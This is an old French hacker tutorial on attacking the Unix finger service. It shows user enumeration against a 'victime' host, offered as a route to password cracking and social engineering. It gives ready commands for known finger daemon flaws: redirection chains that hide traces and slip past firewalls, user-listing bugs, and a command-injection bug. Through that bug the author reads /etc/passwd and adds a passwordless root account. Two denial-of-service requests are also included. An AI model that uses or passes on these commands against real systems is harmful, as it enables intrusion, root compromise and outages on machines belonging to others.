/////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// HACKing finger in the nose /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// Cette série d'articles va expliquer toute l'utilité et les failles de finger. Cet article est destiné à tous ceux qui n'aurait toujours pas compris à quoi sert finger. Puis pour les failles avec finger, ca s'dresse à tous ceux que ca intéressent. I RAPPEL : a) Le service 'finger' donne des informations utiles , puisqu'il permet d'obtenir des noms d'utilisateurs,(qqq fois avec leur mail ou leur numéro de téléphone et des infos complémentaire), de déterminer si une machine est en train d'etre utilisée, etc... en vu de cracker les pass ou de faire du SE. b) Je tape "finger @victime" et voici mon écran : [root@localhost /root]# finger @victime [victime] Login Name Tty Idle Login Time Office Office Phone root root *1 38 Jun 20 13:12 root root *p0 Jun 20 13:50 root root *p1 Jun 20 13:37 root root *p2 1 Jun 20 13:38 Donc la on voit qu'il y a 4 "root". Ca veut pas dire qu'il y a 4 root connecté à la machine. Ca veut dire qu'il y par exemple 1 personne root sur victime et qui a lancé un éditeur de texte et 2 autre xterm (la c'était le cas). De plus on peut voir depuis combien de temps ils sont là (y a un qui est la depuis le 20 juin à 13:12) c) Je tape ensuite "finger -l @victime" ce qui équivaut ici à "finger root@victime". Voici mon écran : [root@localhost /root]# finger -l @victime [victime] Login: root Name: root Directory: /root Shell: /bin/bash On since Tue Jun 20 13:12 (CEST) on tty1 43 minutes 49 seconds idle (messages off) On since Tue Jun 20 13:50 (CEST) on ttyp0 (messages off) On since Tue Jun 20 13:37 (CEST) on ttyp1 6 minutes 15 seconds idle (messages off) On since Tue Jun 20 13:38 (CEST) on ttyp2 7 minutes 7 seconds idle (messages off) No mail. No Plan. On voit donc les même informations qu'avant plus d'autres (qui peuvent être utile pour connaître sa victime): - depuis combien de temps les tty** n'ont pas été touché (par exemple depuis 43 minutes et 49 seconds pour le tty1) (Remarque : y a pas de temps pour tty0 car c'est un fenêtre où la victime tape des commandes ou du texte,...) - Son nom, où il commence et où est son bash - un mail (c pas souvent qu'on en voit) - des autres choses dans plan du genre : Plan : John Smith Telnet password is my birthday d) Dans "finger root@victime", je peux remplacer root par un autre utilisateur pour avoir des info sur lui. Je tape donc dans mon xterm "finger essai@victime" : [root@localhost /root]# finger essai@victime [victime] finger: essai: no such user. Ah ouais, c'est vrai l'utilisateur essai n'existe pas sur la machine victime. Je remplace donc "essai" par bin et j'obtiens ça : [root@localhost /root]# finger bin@victime [victime] Login: bin Name: bin Directory: /bin Shell: /bin/sh Never logged in. No mail. No Plan. Maintenant j'essais avec "cool" : [root@localhost /root]# finger cool@victime [victime] Login: cool Name: cool Directory: / Shell: /bin/bash Last login Sun Jun 18 14:41 (CEST) on ttyp1 from localhost No mail. No Plan. J'en déduis donc qu'il y a bien un utilisateur cool sur la machine d'en face. Je peux donc essayé de cracker la pass puisque que j'ai un login . II Les FAILLES : Bien sûr que finger a des failles qui marche en général que sur des versions anciennes: - finger redirection (Niveau de risque pour victime : Faible) + DoS - Cfinger search.**@host (Niveau de risque pour victime : Faible/Moyen) - finger dot at host (Niveau de risque pour victime : Moyen) - finger zero at host (Niveau de risque pour victime : Moyen) - in.fingerd |commandes@host bug (Niveau de risque pour victime : Elevé :) - finger bomb ++++++++++++++++++++++++++++++++++++++++++++++++ Redirection de finger grâce à fingerd : Système cible potentiel : Solaris 2.5.1/2.6 , SunOS 4.1.4, IRIX 5.3 Quelques daemons de finger permettent de faire suivre la requête finger à d'autres sites éloignés. C'est à dire que les utilisateurs peuvent faire des requêtes du type : finger username@hostA@hostB La requête finger passera par hostB pour aller vers hostA. Cela sert à couvrir nos traces parce qu'HostA verra qu'il a recu une requête finger venant d'HostB au lieu du service original. Cette technique peut être utilisé pour passer au-travers d'un firewall s'ils ne sont pas correctement configurés. Cela peut arriver par finger user@host@firewall. Aussi si le daemon finger d'un site vous permet de faire ceci, il y a ptit DoS à faire (d'ailleurs très simple à comprendre): finger @host@host@host@host@host@host[...]@host@host@host ++++++++++++++++++++++++++++++++++++++++++++++++ Cfinger search.*@host : Système cible potentiel : les systèmes qui ont cfinger 1.2.2 ou 1.3.2 Il y a un bug dans le daemon cfinger qui permet à n'importe qui d'obtenir la liste des utilisateurs du système en faisant la commande : - Si ils ont cfinger 1.2.2, il faut taper : finger search.*@victime - Si ils ont cfinger 1.3.2, il faut taper : finger search.**@victime Cette information a beaucoup d'interêt, parcequ'avec elle, on a la liste des utilisateurs, et on n'a plus qu'à cracker un des mots de passe par force brute en utilisant un autre service (telnet, ftp...) ++++++++++++++++++++++++++++++++++++++++++++++++ finger dot at host : Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais été utilisés, quand quelqu'un fait la requète : finger .@victime Cette liste va permettre de deviner le type de système d'exploitation de la victime. Il va aussi dire quels comptes n'ont jamais été utilisés, ce qui nous fera souvent nous concentrer sur ceux-ci. ++++++++++++++++++++++++++++++++++++++++++++++++ finger zero at host : Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais été utilisés, quand quelqu'un fait la requête : finger 0@victime Ca sert donc à la même chose qu'avant ++++++++++++++++++++++++++++++++++++++++++++++++ in.fingerd |commandes@host bug : Le daemon finger qui expédie avec dgux permettra à un utilisateur éloigné d'éxecuter des commandes ,souvent avec l'uid root ou bin. Le daemon finger permet à n'importe qui d'executer des commandes en tant que root, en faisant des requêtes telles que : finger |commandes_à_executer@cible Coooooool!!!!!! Vous pouvez faire comme commandes "|/bin/cat /etc/passwd\n" si vous n'avez pas d'autres idées mais en y réfléchissant un peu plus, vous vous rajouter un compte root sans pass, xhost + (pendant que vous y êtes). C'est la fin de tout!!!! Y a plusieurs façon pour voir si ça marche : 1) essayer 2) Taper finger /W@host et si vous recevez un truc comme ça le système peut être vulnérable : Login name: /W In real life: ??? Donc pour voir l'uid de in.fingerd qui est exécuté sur la machine d'en face, essayer : finger "|/bin/id@host" et espérer qu'il y a ça qui apparraissent uid=0(root) gid=0(root) ou uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail) ++++++++++++++++++++++++++++++++++++++++++++++++ Finger Bomb : Système cible potentiel : SunOS 4.1.4 Un DoS peut arriver quand une personne tape : finger username@@@@@@@@@@@@@@@@@[...]@@@@hostA Le @ répétées avec finger peut conduire le daemon finger à se répéter récursivement sur la même machine (hostA) jusqu'à ce que la machine plante ou ralentit à des vitesses inutilisables. SLy